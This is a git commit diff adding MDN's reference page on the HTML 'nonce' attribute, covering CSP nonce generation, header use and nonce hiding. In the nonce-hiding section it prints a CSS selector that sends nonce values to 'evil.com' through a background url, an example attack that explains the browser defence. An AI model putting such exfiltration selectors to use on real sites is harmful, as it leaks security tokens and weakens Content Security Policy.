diff options
| author | Craig Jennings <c@cjennings.net> | 2024-04-07 13:41:34 -0500 |
|---|---|---|
| committer | Craig Jennings <c@cjennings.net> | 2024-04-07 13:41:34 -0500 |
| commit | 754bbf7a25a8dda49b5d08ef0d0443bbf5af0e36 (patch) | |
| tree | f1190704f78f04a2b0b4c977d20fe96a828377f1 /devdocs/html/global_attributes%2Fnonce.html | |
new repository
Diffstat (limited to 'devdocs/html/global_attributes%2Fnonce.html')
| -rw-r--r-- | devdocs/html/global_attributes%2Fnonce.html | 113 |
1 files changed, 113 insertions, 0 deletions
diff --git a/devdocs/html/global_attributes%2Fnonce.html b/devdocs/html/global_attributes%2Fnonce.html new file mode 100644 index 00000000..82cdea4a --- /dev/null +++ b/devdocs/html/global_attributes%2Fnonce.html @@ -0,0 +1,113 @@ +<header><h1>nonce</h1></header><div class="section-content"><p> The <code>nonce</code> <a href="../global_attributes">global attribute</a> is a content attribute defining a cryptographic nonce ("number used once") which can be used by <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policy</a> to determine whether or not a given fetch will be allowed to proceed for a given element. </p></div> +<h2 id="description">Description</h2> +<div class="section-content"> +<p> The <code>nonce</code> attribute is useful to allowlist specific elements, such as a particular inline script or style elements. It can help you to avoid using the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">CSP</a> <code>unsafe-inline</code> directive, which would allowlist <em>all</em> inline scripts or styles. </p> <div class="notecard note" id="sect1"> <p> <strong>Note:</strong> Only use <code>nonce</code> for cases where you have no way around using unsafe inline script or style contents. If you don't need <code>nonce</code>, don't use it. If your script is static, you could also use a CSP hash instead. (See usage notes on <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#unsafe_inline_script">unsafe inline script</a>.) Always try to take full advantage of <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">CSP</a> protections and avoid nonces or unsafe inline scripts whenever possible. </p> </div> +</div> +<h3 id="using_nonce_to_allowlist_a_script_element">Using nonce to allowlist a <script> element</h3> +<div class="section-content"> +<p>There are a few steps involved to allowlist an inline script using the nonce mechanism:</p> <h4 id="generating_values">Generating values</h4> <p> From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs: </p> <div class="code-example"> +<p class="example-header"><span class="language-name">js</span></p> +<pre data-signature="zB67V+cco1wa0pAli8kumuOzdGYLWKCjHlP3XEjixdI=" data-language="js"><span class="token keyword">const</span> crypto <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">"crypto"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> +crypto<span class="token punctuation">.</span><span class="token function">randomBytes</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token string">"base64"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> +<span class="token comment">// '8IBTHwOdqNKAWeKl7plt8g=='</span> +</pre> +</div> <h4 id="allowlisting_inline_script">Allowlisting inline script</h4> <p>The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:</p> <div class="code-example"> +<p class="example-header"><span class="language-name">html</span></p> +<pre data-signature="/tbYLnfwT3nAHyAmZ34j2NeBASwkbHO17OIz1j7dww4=" data-language="html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">nonce</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>8IBTHwOdqNKAWeKl7plt8g==<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> + <span class="token comment">// …</span> +</span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> +</pre> +</div> <h4 id="sending_a_nonce_with_a_csp_header">Sending a nonce with a CSP header</h4> <p> Finally, you'll need to send the nonce value in a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy"><code>Content-Security-Policy</code></a> header (prepend <code>nonce-</code>): </p> <div class="code-example"> +<p class="example-header"><span class="language-name">http</span></p> +<pre data-signature="ofiWNqhGUZPyuFmL6RH8FcJ7x2+/Hsm19dtZhn6HaiI=" data-language="http"><span class="token header"><span class="token header-name keyword">Content-Security-Policy</span><span class="token punctuation">:</span> <span class="token header-value csp languages-csp">script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='</span></span> +</pre> +</div> +</div> +<h3 id="accessing_nonces_and_nonce_hiding">Accessing nonces and nonce hiding</h3> +<div class="section-content"> +<p>For security reasons, the <code>nonce</code> content attribute is hidden (an empty string will be returned).</p> <div class="code-example"> +<p class="example-header"><span class="language-name">js</span></p> +<pre data-signature="vcL61plJ0VvPNb64YjMBAJFNGZ0iWWKVDIv9+S1GId0=" data-language="js">script<span class="token punctuation">.</span><span class="token function">getAttribute</span><span class="token punctuation">(</span><span class="token string">"nonce"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// returns empty string</span> +</pre> +</div> <p>The <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/nonce"><code>nonce</code></a> property is the only way to access nonces:</p> <div class="code-example"> +<p class="example-header"><span class="language-name">js</span></p> +<pre data-signature="Z7QBT2SqRQcL8xBxFXe2jZUxiSa4amxUPgiIShO37ro=" data-language="js">script<span class="token punctuation">.</span>nonce<span class="token punctuation">;</span> <span class="token comment">// returns nonce value</span> +</pre> +</div> <p> Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this: </p> <div class="code-example"> +<p class="example-header"><span class="language-name">css</span></p> +<pre data-signature="7jcEtfhRt2s3WYAb5vuVO2C3mmcrN89eUhPgKa1r8QI=" data-language="css"><span class="token selector">script[nonce~="whatever"]</span> <span class="token punctuation">{</span> + <span class="token property">background</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"https://evil.com/nonce?whatever"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span> +<span class="token punctuation">}</span> +</pre> +</div> +</div> +<h2 id="specifications">Specifications</h2> +<div class="_table"><table class="standard-table"> +<thead><tr><th scope="col">Specification</th></tr></thead> +<tbody><tr><td><a href="https://html.spec.whatwg.org/multipage/urls-and-fetching.html#attr-nonce">HTML Standard <br><small># attr-nonce</small></a></td></tr></tbody> +</table></div> +<h2 id="browser_compatibility">Browser compatibility</h2> +<div class="_table"><table> +<thead> +<tr id="bct-browser-type"> +<th></th> +<th colspan="6">Desktop</th> +<th colspan="6">Mobile</th> +</tr> +<tr id="bct-browsers"> +<th></th> +<th>Chrome</th> +<th>Edge</th> +<th>Firefox</th> +<th>Internet Explorer</th> +<th>Opera</th> +<th>Safari</th> +<th>WebView Android</th> +<th>Chrome Android</th> +<th>Firefox for Android</th> +<th>Opera Android</th> +<th>Safari on IOS</th> +<th>Samsung Internet</th> +</tr> +</thead> +<tbody> +<tr> +<th><code>nonce</code></th> +<td class="bc-supports-yes">Yes</td> +<td class="bc-supports-yes">Yes</td> +<td class="bc-supports-yes">31</td> +<td class="bc-supports-no">No</td> +<td class="bc-supports-yes">Yes</td> +<td class="bc-supports-yes">Yes</td> +<td class="bc-supports-yes">Yes</td> +<td class="bc-supports-yes">Yes</td> +<td class="bc-supports-yes">31</td> +<td class="bc-supports-yes">Yes</td> +<td class="bc-supports-yes">Yes</td> +<td class="bc-supports-yes">Yes</td> +</tr> +<tr> +<th><code>nonce_hiding</code></th> +<td class="bc-supports-yes">61</td> +<td class="bc-supports-yes">79</td> +<td class="bc-supports-yes">75</td> +<td class="bc-supports-no">No</td> +<td class="bc-supports-yes">48</td> +<td class="bc-supports-no">No</td> +<td class="bc-supports-yes">61</td> +<td class="bc-supports-yes">61</td> +<td class="bc-supports-yes">79</td> +<td class="bc-supports-yes">45</td> +<td class="bc-supports-no">No</td> +<td class="bc-supports-yes">8.0</td> +</tr> +</tbody> +</table></div> +<h2 id="see_also">See also</h2> +<div class="section-content"><ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/nonce"><code>HTMLElement.nonce</code></a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policy</a></li> <li>CSP: <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src"><code>script-src</code></a> +</li> </ul></div><div class="_attribution"> + <p class="_attribution-p"> + © 2005–2023 MDN contributors.<br>Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.<br> + <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce" class="_attribution-link">https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce</a> + </p> +</div> |
